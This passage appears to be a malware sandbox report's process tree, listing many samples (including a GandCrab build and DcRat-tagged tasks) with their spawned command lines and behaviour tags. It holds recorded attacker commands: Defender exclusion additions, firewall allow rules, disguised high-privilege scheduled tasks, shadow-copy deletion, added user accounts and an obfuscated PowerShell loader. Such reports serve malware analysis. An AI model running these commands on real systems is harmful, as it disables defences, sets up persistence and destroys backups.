        6⤵
        
        PID:8920
  - - C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
      "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2736
  - - C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
      "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3964
    - - C:\Users\Admin\AppData\Local\Temp\server.exe
        
        "C:\Users\Admin\AppData\Local\Temp\server.exe"
        5⤵
        
        PID:3452
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:7340
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM Exsample.exe
        6⤵
        Kills process with taskkill
        
        PID:7368
  - - C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
      "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3256
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:6276
  - - C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
      "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\WindowsPowerShell\Configuration\WmiPrvSE.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6960
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Desktop\netsh.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7876
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\MsEdgeCrashpad\reports\wininit.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5248
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\SystemTemp\Crashpad\fontdrvhost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4084
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\TFzInt5frI.bat"
        5⤵
        
        PID:8028
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:6084
      - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:7668
      - C:\Windows\Temp\MsEdgeCrashpad\reports\wininit.exe
        
        "C:\Windows\Temp\MsEdgeCrashpad\reports\wininit.exe"
        6⤵
        
        PID:9004
  - - C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
      "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5228
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
        
        "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5592
  - - C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
      "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5300
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\mTm2ASKzwX.bat"
        5⤵
        
        PID:8180
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:7712
      - C:\Program Files\Java\jre-1.8\legal\Idle.exe
        
        "C:\Program Files\Java\jre-1.8\legal\Idle.exe"
        6⤵
        
        PID:4812
  - - C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
      "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5384
  - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
      "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5456
    - - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
        
        "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
        5⤵
        
        PID:7060
  - - C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
      "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5604
    - - C:\Windows\winhlp32.exe
        
        winhlp32.exe -x
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5792
    - - C:\Windows\winhlp32.exe
        
        winhlp32.exe -x
        5⤵
        
        PID:5252
  - - C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
      "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5660
  - - C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
      "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
      4⤵
      Executes dropped EXE
      PID:5780
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Java\jre-1.8\bin\server\cmd.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8160
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Reference Assemblies\Happy18.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5652
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\firefox.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6204
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\57ccb6f0bd910fed428761828ae93553.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7940
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\iVFGqFQ6mn.bat"
        5⤵
        
        PID:5712
      - C:\Windows\system32\chcp.com
        
        chcp 65001
        6⤵
        
        PID:8404
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:2344
      - C:\Recovery\WindowsRE\firefox.exe
        
        "C:\Recovery\WindowsRE\firefox.exe"
        6⤵
        
        PID:8704
  - - C:\Program Files (x86)\BTZ.exe
      "C:\Program Files (x86)\BTZ.exe"
      4⤵
      Executes dropped EXE
      PID:5872
  - - C:\Program Files (x86)\Cat.exe
      "C:\Program Files (x86)\Cat.exe"
      4⤵
      PID:6004
  - - C:\Program Files (x86)\Client.exe
      "C:\Program Files (x86)\Client.exe"
      4⤵
      PID:6048
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
        5⤵
        
        PID:7188
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
        6⤵
        
        PID:6680
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
        5⤵
        
        PID:6248
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6460
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
        5⤵
        
        PID:7172
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        6⤵
        DcRat
        
        PID:2908
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
        5⤵
        
        PID:8124
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
        6⤵
        DcRat
        Scheduled Task/Job: Scheduled Task
        
        PID:5308
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
        5⤵
        
        PID:7472
      - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
        6⤵
        DcRat
        
        PID:6156
  - - C:\Program Files (x86)\Darkest Dungeon setub.exe
      "C:\Program Files (x86)\Darkest Dungeon setub.exe"
      4⤵
      PID:6112
    - - C:\Users\Admin\AppData\Roaming\svhost.exe
        
        "C:\Users\Admin\AppData\Roaming\svhost.exe"
        5⤵
        
        PID:7816
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:5440
  - - C:\Program Files (x86)\evil.exe
      "C:\Program Files (x86)\evil.exe"
      4⤵
      PID:5292
    - - C:\Users\Admin\AppData\Local\Temp\evil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\evil.exe"
        5⤵
        
        PID:6720
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:7760
  - - C:\Program Files (x86)\fwclt.exe
      "C:\Program Files (x86)\fwclt.exe"
      4⤵
      PID:5340
  - - C:\Program Files (x86)\Gandcrab5.0.3.exe
      "C:\Program Files (x86)\Gandcrab5.0.3.exe"
      4⤵
      PID:5620
    - - C:\Windows\SysWOW64\wermgr.exe
        
        "C:\Windows\System32\wermgr.exe"
        5⤵
        
        PID:4944
      - C:\Windows\SysWOW64\wbem\wmic.exe
        
        "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
        6⤵
        
        PID:7204
  - - C:\Program Files (x86)\Happy18.exe
      "C:\Program Files (x86)\Happy18.exe"
      4⤵
      PID:5552
  - - C:\Program Files (x86)\kosomk.exe
      "C:\Program Files (x86)\kosomk.exe"
      4⤵
      PID:5332
    - - C:\Users\Admin\AppData\Roaming\dicsord.exe
        
        "C:\Users\Admin\AppData\Roaming\dicsord.exe"
        5⤵
        
        PID:7068
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\dicsord.exe" "dicsord.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:7784
  - - C:\Program Files (x86)\LightNeuronX0.exe
      "C:\Program Files (x86)\LightNeuronX0.exe"
      4⤵
      PID:5668
  - - C:\Program Files (x86)\malecus.exe
      "C:\Program Files (x86)\malecus.exe"
      4⤵
      PID:5260
  - - C:\Program Files (x86)\see7.exe
      "C:\Program Files (x86)\see7.exe"
      4⤵
      PID:5412
    - - C:\Program Files (x86)\see7.exe
        
        "C:\Program Files (x86)\see7.exe"
        5⤵
        
        PID:8304
      - C:\Windows\SysWOW64\colorcpl.exe
        
        "C:\Windows\SysWOW64\colorcpl.exe"
        6⤵
        
        PID:7160
  - - C:\Program Files (x86)\TEST.exe
      "C:\Program Files (x86)\TEST.exe"
      4⤵
      PID:5636
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB586.tmp.bat""
        5⤵
        
        PID:6536
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:9120
      - C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe
        
        "C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe"
        6⤵
        
        PID:7572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\touhou virus.bat" "
      4⤵
      PID:6288
    - - C:\Windows\SysWOW64\net.exe
        
        net user Shanghai /add
        5⤵
        
        PID:6188
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Shanghai /add
        6⤵
        
        PID:5968
    - - C:\Windows\SysWOW64\net.exe
        
        net user Bad Apple /add
        5⤵
        
        PID:7520
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Bad Apple /add
        6⤵
        
        PID:5392
    - - C:\Windows\SysWOW64\net.exe
        
        net user Marisa
        5⤵
        
        PID:8016
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Marisa
        6⤵
        
        PID:7564
    - - C:\Windows\SysWOW64\net.exe
        
        net user Reimu /add
        5⤵
        
        PID:8032
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Reimu /add
        6⤵
        
        PID:2348
    - - C:\Windows\SysWOW64\mountvol.exe
        
        mountvol X:\ /d
        5⤵
        
        PID:4092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=PTt19B5_V3I
        5⤵
        
        PID:244
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x124,0xfc,0x128,0x120,0x12c,0x7ff8038b3cb8,0x7ff8038b3cc8,0x7ff8038b3cd8
        6⤵
        
        PID:8208
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=tpedaZ0_yyQ
        5⤵
        
        PID:8724
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff8038b3cb8,0x7ff8038b3cc8,0x7ff8038b3cd8
        6⤵
        
        PID:8868
    - - C:\Windows\SysWOW64\diskpart.exe
        
        diskpart
        5⤵
        
        PID:8736
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer
        5⤵
        
        PID:8936
      - C:\Windows\SysWOW64\help.exe
        
        "C:\Windows\SysWOW64\help.exe"
        6⤵
        
        PID:2220
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=ZaFd5xdunKI
        5⤵
        
        PID:9088
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff8038b3cb8,0x7ff8038b3cc8,0x7ff8038b3cd8
        6⤵
        
        PID:8712
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        5⤵
        
        PID:5160
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=YB0NwvJY39o
        5⤵
        
        PID:7236
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer
        5⤵
        
        PID:8140
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=R8-geAYZtX0
        5⤵
        
        PID:5840
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff8038b3cb8,0x7ff8038b3cc8,0x7ff8038b3cd8
        6⤵
        
        PID:5496
  - - C:\Program Files (x86)\vbc.exe
      "C:\Program Files (x86)\vbc.exe"
      4⤵
      PID:6492
    - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        5⤵
        
        PID:6788
      - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        6⤵
        
        PID:6928
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6788 -s 612
        6⤵
        Program crash
        
        PID:5500
  - - C:\Program Files (x86)\virus.jk.exe
      "C:\Program Files (x86)\virus.jk.exe"
      4⤵
      PID:6668
    - - C:\Program Files (x86)\virus.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.exe"
        5⤵
        
        PID:5432
      - C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        6⤵
        
        PID:6856
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.exe"
        7⤵
        
        PID:2908
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.exe"
        8⤵
        
        PID:5540
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.exe"
        9⤵
        
        PID:5248
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.exe"
        10⤵
        
        PID:7220
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        11⤵
        
        PID:7904
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        12⤵
        
        PID:2968
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        13⤵
        
        PID:7332
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        14⤵
        
        PID:7868
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        15⤵
        
        PID:6456
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        16⤵
        
        PID:6668
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        17⤵
        
        PID:7720
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        18⤵
        
        PID:8064
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        19⤵
        
        PID:6640
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        20⤵
        
        PID:6632
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        21⤵
        
        PID:7512
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        22⤵
        
        PID:5400
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        23⤵
        
        PID:5356
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        24⤵
        
        PID:4896
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        25⤵
        
        PID:7280
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        26⤵
        
        PID:5600
        
        C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.jk.exe"
        27⤵
        
        PID:5580
        
